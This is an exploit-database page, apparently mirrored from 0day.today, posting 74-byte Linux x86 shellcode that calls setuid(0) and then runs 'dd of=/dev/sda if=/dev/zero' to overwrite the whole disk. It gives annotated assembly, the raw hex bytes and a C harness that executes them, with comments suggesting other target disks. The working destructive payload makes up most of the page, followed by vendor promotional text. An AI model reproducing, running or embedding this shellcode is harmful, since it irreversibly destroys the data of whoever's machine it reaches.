Lucene search
K

linux/x86 setuid(0) and dd of=/dev/sda if=/dev/zero shellcode 74 bytes

🗓️ 24 Sep 2010 00:00:00Reported by xertuxType 
zdt
 zdt
🔗 0day.today👁 18 Views

Linux x86 setuid(0) and dd of=/dev/sda if=/dev/zero shellcod

Code
======================================================================
linux/x86 setuid(0) and dd of=/dev/sda if=/dev/zero shellcode 74 bytes
======================================================================

 /*
  * Title : Linux x86 shellcode setuid(0) and dd of=/dev/sda if=/dev/zero, 74 bytes
  * Author : xertux
  * Platform: Linux X86 (7.04)
  * Description : setuid(0) + dd of=/dev/sda if=/dev/zero
  * Size : 74 bytes
  * Decription : Use the dd command, we can change of and if argument to create, modify and destroy datas. Here the sda	disk is format.
  * */

 /**
  *BITS 32
  *;Get root privileges
  *xor eax, eax
  *xor ebx, ebx
  *xor ecx, ecx
  *cdq
  *mov al, 0x17
  *int 0x80
  *;exceve(dd of=/dev/sda if=/dev/zero)
  *xor eax, eax      ; eax become 0
  *push eax          ; null string termination
  *push 0x64642f2f   ; push //dd
  *push 0x6e69622f   ; push /bin
  *mov ebx, esp      ; put the address of "/bin//dd" into ebx
  *push eax          ; push null string termination
  *push 0x6164732f   ; push /sda
  *push 0x2f766564   ; push dev/
  *push 0x2f3d666f   ; push of=/
  *mov ecx, esp      ; put the address of "of=/dev//sda" into ecx  ==> you can change to another disk or any files
  *push eax          ; null string termination
  *push 0x6f72657a   ; push zero
  *push 0x2f766564   ; push dev/
  *push 0x2f3d6669   ; push if=/
  *mov edx, esp      ; put the address of "if=/dev/zero" into edx ==> you can try with /dev/random, it's funny ^^
  *push eax          ; push null args termination
  *push edx          ; push "if=/dev/zero"
  *push ecx          ; push "of=/dev//sda"
  *push ebx          ; push /bin//dd
  *mov ecx, esp      ; argument array completed via esp
  *xor edx, edx
  *mov al, 0x0b      ; put the int execve call into al
  *int 0x80          ; system call
 */

#include "stdio.h"

 char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f"
"\x2f\x64\x64\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2f\x73\x64\x61"
"\x68\x64\x65\x76\x2f\x68\x6f\x66\x3d\x2f\x89\xe1\x50\x68\x7a\x65"
"\x72\x6f\x68\x64\x65\x76\x2f\x68\x69\x66\x3d\x2f\x89\xe2\x50\x52"
"\x51\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";;

 int main()
{
           printf(" [*] Shellcode - length: %d\n",strlen(shellcode));
           (*(void(*)()) shellcode)();
           return 0;
}





#  0day.today [2018-04-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Sep 2010 00:00Current
7High risk
Vulners AI Score7
18